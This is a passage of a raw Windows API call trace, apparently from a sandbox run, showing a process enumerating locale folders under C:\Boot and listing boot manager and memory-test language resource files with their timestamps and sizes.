dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.074] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.074] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.074] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.074] FindClose (in: hFindFile=0x751550 | out: hFindFile=0x751550) returned 1 [0192.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.074] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0192.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.074] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7510d0 [0192.075] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.075] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.075] FindNextFileW (in: hFindFile=0x7510d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.075] FindClose (in: hFindFile=0x7510d0 | out: hFindFile=0x7510d0) returned 1 [0192.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.075] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0192.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.075] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7513d0 [0192.075] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.075] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.076] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.076] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.076] FindClose (in: hFindFile=0x7513d0 | out: hFindFile=0x7513d0) returned 1 [0192.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.076] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0192.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.076] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7513d0 [0192.076] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.076] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.077] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.077] FindNextFileW (in: hFindFile=0x7513d0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.077] FindClose (in: hFindFile=0x7513d0 | out: hFindFile=0x7513d0) returned 1 [0192.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.077] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0192.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.077] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750fd0 [0192.077] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.077] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.078] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.078] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.078] FindClose (in: hFindFile=0x750fd0 | out: hFindFile=0x750fd0) returned 1 [0192.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.078] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0192.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.078] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751090 [0192.078] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.079] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.079] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0192.079] FindNextFileW (in: hFindFile=0x751090, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0192.079] FindClose (in: hFindFile=0x751090 | out: hFindFile=0x751090) returned 1 [0192.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.079] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0192.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.079] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751510 [0192.079] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.079] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.080] FindNextFileW (in: hFindFile=0x751510, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.080] FindClose (in: hFindFile=0x751510 | out: hFindFile=0x751510) returned 1 [0192.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.080] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0192.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0192.080] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751450 [0192.080] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.080] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0192.081] FindNextFileW (in: hFindFile=0x751450, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0192.081] FindClose (in: hFindFile=0x751450 | out: hFindFile=0x751450) returned 1 [0192.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0192.081] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, 